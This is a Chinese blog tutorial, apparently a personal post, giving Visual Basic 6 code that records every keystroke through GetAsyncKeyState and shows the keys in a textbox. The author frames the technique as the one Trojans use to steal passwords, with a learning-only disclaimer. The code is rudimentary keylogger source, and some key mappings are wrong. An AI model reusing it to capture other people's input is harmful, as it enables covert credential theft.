1.檢測按鍵碼

通常這項技術運用在特洛伊木馬上面

竊取使用者帳號密碼

畢竟要先學會保護得先學會破解!!

不過不鼓勵用做非法事情,請當學習用

放到Timer裡面 Interval 設定1

Key = GetAsyncKeyState(112) '122 是ASCII碼 = F1  或是112改成vbKeyF1 也可以
If Key = -32767 Then  '如果按下F1
AddKey = "[F1]" '這個變數=F1
GoTo AddText  '用這個是為了方便 否則每一個判斷都要加上 Text1 = text1 & AddKey
End If

AddText:
Text1 = Text1 & AddKey

有人會問為什麼不使用 If GetAsyncKeyState(112) then

答案很簡單 因為間隔設定1 所以 如果按下 他會跑出很多的F1 我們按下彈起同時 就經過幾豪秒了

所以他會重複寫入 

用這樣方式寫 比較好

aKey = 41

Do Until aKey = 256   '若aKey = 256 跳出迴圈
Key = GetAsyncKeyState(aKey)  
If Key = -32767 Then Text1.Text = Text1.Text & Chr(aKey) 'Chr是指取ASCII碼 取得其他英數字的值
aKey = aKey + 1
Loop

切忌!!這段一定要放在最後面

因為這段是為了顯示其他碼的值

因為所有編譯器 都是逐行執行,一行一行執行,他先執行到 就不會顯示我們之前打的值了


這段如果懂Do...Loop迴圈的 一定看得懂

在Timer2裡面新增一段代碼

TimeOut = 0    '重新整理

 

 

2.開始編寫代碼

放入一個Text

兩個Timer

記得!!

Text的MultiLine要設為True

代碼Text可多行顯示

 

Private Declare Function GetAsyncKeyState Lib "user32" (ByVal vKey As Long) As Long

 

Private Sub Form_Load()

 

Timer1.Enabled = True
Timer1.Interval = 1
Timer2.Enabled = True
Timer2.Interval = 1
End Sub

 

Private Sub Timer1_Timer()


 

Key = GetAsyncKeyState(17)
If Key = -32767 Then
AddKey = "[CTRL]"
GoTo AddText
End If

 

Key = GetAsyncKeyState(8)
If Key = -32767 Then
AddKey = "[BKSPACE]"
GoTo AddText
End If

 

Key = GetAsyncKeyState(9)
If Key = -32767 Then
AddKey = "[TAB]"
GoTo AddText
End If

 

Key = GetAsyncKeyState(18)
If Key = -32767 Then
AddKey = "[ALT]"
GoTo AddText
End If

 

Key = GetAsyncKeyState(19)
If Key = -32767 Then
AddKey = "[PAUSE]"
GoTo AddText
End If

Key = GetAsyncKeyState(13)
If Key = -32767 Then
AddKey = "[ENTER]"
GoTo AddText
End If

 

Key = GetAsyncKeyState(20)
If Key = -32767 Then
AddKey = "[CAPS]"
GoTo AddText
End If

 

Key = GetAsyncKeyState(27)
If Key = -32767 Then
AddKey = "[ESC]"
GoTo AddText
End If

 

Key = GetAsyncKeyState(33)
If Key = -32767 Then
AddKey = "[PGUP]"
GoTo AddText
End If

 

Key = GetAsyncKeyState(34)
If Key = -32767 Then
AddKey = "[PGDN]"
GoTo AddText
End If

 

 

 

Key = GetAsyncKeyState(36)
If Key = -32767 Then
AddKey = "[HOME]"
GoTo AddText
End If

 

Key = GetAsyncKeyState(44)
If Key = -32767 Then
AddKey = "[SYSRQ]"
GoTo AddText
End If

 

Key = GetAsyncKeyState(45)
If Key = -32767 Then
AddKey = "[INS]"
GoTo AddText
End If

Key = GetAsyncKeyState(35)
If Key = -32767 Then
AddKey = "[END]"
GoTo AddText
End If

 

Key = GetAsyncKeyState(46)
If Key = -32767 Then
AddKey = "[DEL]"
GoTo AddText
End If

 

Key = GetAsyncKeyState(144)
If Key = -32767 Then
AddKey = "[NUM]"
GoTo AddText
End If

 

Key = GetAsyncKeyState(37)
If Key = -32767 Then
AddKey = "[LEFT]"
GoTo AddText
End If

 

Key = GetAsyncKeyState(38)
If Key = -32767 Then
AddKey = "[UP]"
GoTo AddText
End If

 

 

 

Key = GetAsyncKeyState(40)
If Key = -32767 Then
AddKey = "[DOWN]"
GoTo AddText
End If
Key = GetAsyncKeyState(112)
If Key = -32767 Then
AddKey = "[F1]"
GoTo AddText
End If

Key = GetAsyncKeyState(39)
If Key = -32767 Then
AddKey = "[RIGHT]"
GoTo AddText
End If

 

Key = GetAsyncKeyState(113)
If Key = -32767 Then
AddKey = "[F2]"
GoTo AddText
End If

 

Key = GetAsyncKeyState(114)
If Key = -32767 Then
AddKey = "[F3]"
GoTo AddText
End If

 

 

 

Key = GetAsyncKeyState(116)
If Key = -32767 Then
AddKey = "[F5]"
GoTo AddText
End If

 

Key = GetAsyncKeyState(117)
If Key = -32767 Then
AddKey = "[F6]"
GoTo AddText
End If

Key = GetAsyncKeyState(115)
If Key = -32767 Then
AddKey = "[F4]"
GoTo AddText
End If

 

Key = GetAsyncKeyState(118)
If Key = -32767 Then
AddKey = "[F7]"
GoTo AddText
End If

 

Key = GetAsyncKeyState(119)
If Key = -32767 Then
AddKey = "[F8]"
GoTo AddText
End If

 

Key = GetAsyncKeyState(120)
If Key = -32767 Then
AddKey = "[F9]"
GoTo AddText
End If

 

Key = GetAsyncKeyState(121)
If Key = -32767 Then
AddKey = "[F10]"
GoTo AddText
End If

 

Key = GetAsyncKeyState(123)

If Key = -32767 Then
AddKey = "[F12]"
GoTo AddText
End If

Key = GetAsyncKeyState(122)
If Key = -32767 Then
AddKey = "[F11]"
GoTo AddText
End If

 

Key = GetAsyncKeyState(124)
If Key = -32767 Then
AddKey = "[F13]"
GoTo AddText
End If

 

Key = GetAsyncKeyState(125)
If Key = -32767 Then
AddKey = "[F14]"
GoTo AddText
End If

 

Key = GetAsyncKeyState(126)
If Key = -32767 Then
AddKey = "[F15]"
GoTo AddText
End If

 

Key = GetAsyncKeyState(127)
If Key = -32767 Then
AddKey = "[F16]"
GoTo AddText
End If
Key = GetAsyncKeyState(32)
If Key = -32767 Then
AddKey = " "
GoTo AddText
End If

 

Key = GetAsyncKeyState(186)
If Key = -32767 Then
AddKey = ";"
GoTo AddText
End If

 

Key = GetAsyncKeyState(187)
If Key = -32767 Then
AddKey = "="
GoTo AddText
End If

 

Key = GetAsyncKeyState(188)
If Key = -32767 Then
AddKey = ","
GoTo AddText
End If

 

Key = GetAsyncKeyState(189)
If Key = -32767 Then
AddKey = "-"
GoTo AddText
End If

 

Key = GetAsyncKeyState(190)
If Key = -32767 Then
AddKey = "."
GoTo AddText
End If

 

Key = GetAsyncKeyState(191)
If Key = -32767 Then
AddKey = "/" '/
GoTo AddText
End If

 

Key = GetAsyncKeyState(192)
If Key = -32767 Then
AddKey = "`" '`
GoTo AddText
End If
Key = GetAsyncKeyState(96)
If Key = -32767 Then
AddKey = "0"
GoTo AddText
End If

 

Key = GetAsyncKeyState(97)
If Key = -32767 Then
AddKey = "1"
GoTo AddText
End If

 

Key = GetAsyncKeyState(98)
If Key = -32767 Then
AddKey = "2"
GoTo AddText
End If

 

Key = GetAsyncKeyState(99)
If Key = -32767 Then
AddKey = "3"
GoTo AddText
End If

 

Key = GetAsyncKeyState(100)
If Key = -32767 Then
AddKey = "4"
GoTo AddText
End If

 

Key = GetAsyncKeyState(101)
If Key = -32767 Then
AddKey = "5"
GoTo AddText
End If

 

Key = GetAsyncKeyState(102)
If Key = -32767 Then
AddKey = "6"
GoTo AddText
End If

 

Key = GetAsyncKeyState(103)
If Key = -32767 Then
AddKey = "7"
GoTo AddText
End If

 

Key = GetAsyncKeyState(104)
If Key = -32767 Then
AddKey = "8"
GoTo AddText
End If

 

Key = GetAsyncKeyState(105)
If Key = -32767 Then
AddKey = "9"
GoTo AddText
End If
Key = GetAsyncKeyState(106)
If Key = -32767 Then
AddKey = "*"
GoTo AddText
End If

 

Key = GetAsyncKeyState(107)
If Key = -32767 Then
AddKey = "+"
GoTo AddText
End If

 

Key = GetAsyncKeyState(108)
If Key = -32767 Then
AddKey = "[ENTER]"
GoTo AddText
End If

 

Key = GetAsyncKeyState(109)
If Key = -32767 Then
AddKey = "-"
GoTo AddText
End If
Key = GetAsyncKeyState(110)
If Key = -32767 Then
AddKey = "."
GoTo AddText
End If

 

Key = GetAsyncKeyState(2)
If Key = -32767 Then
AddKey = "/"
GoTo AddText
End If

 

Key = GetAsyncKeyState(220)
If Key = -32767 Then
AddKey = "\"
GoTo AddText
End If

 

Key = GetAsyncKeyState(222)
If Key = -32767 Then
AddKey = "'"
GoTo AddText
End If

 

Key = GetAsyncKeyState(221)
If Key = -32767 Then
AddKey = "]"
GoTo AddText
End If

 

Key = GetAsyncKeyState(219)
If Key = -32767 Then
AddKey = "["
GoTo AddText
End If

 

Key = GetAsyncKeyState(16)
If Key = -32767 And TimeOut = 0 Then
AddKey = "[SHIFT]"
LastKey = AddKey
TimeOut = 1
GoTo AddText
End If
aKey = 41
Do Until aKey = 256
Key = GetAsyncKeyState(aKey)
If Key = -32767 Then Text1.Text = Text1.Text & Chr(aKey)
aKey = aKey + 1
Loop

 

AddText:
Text1.Text = Text1 & AddKey
End Sub

Private Sub Timer2_Timer()
TimeOut = 0
End Sub

介面  

 

 


arrow
arrow
    全站熱搜

    pua0156k 發表在 痞客邦 留言(1) 人氣()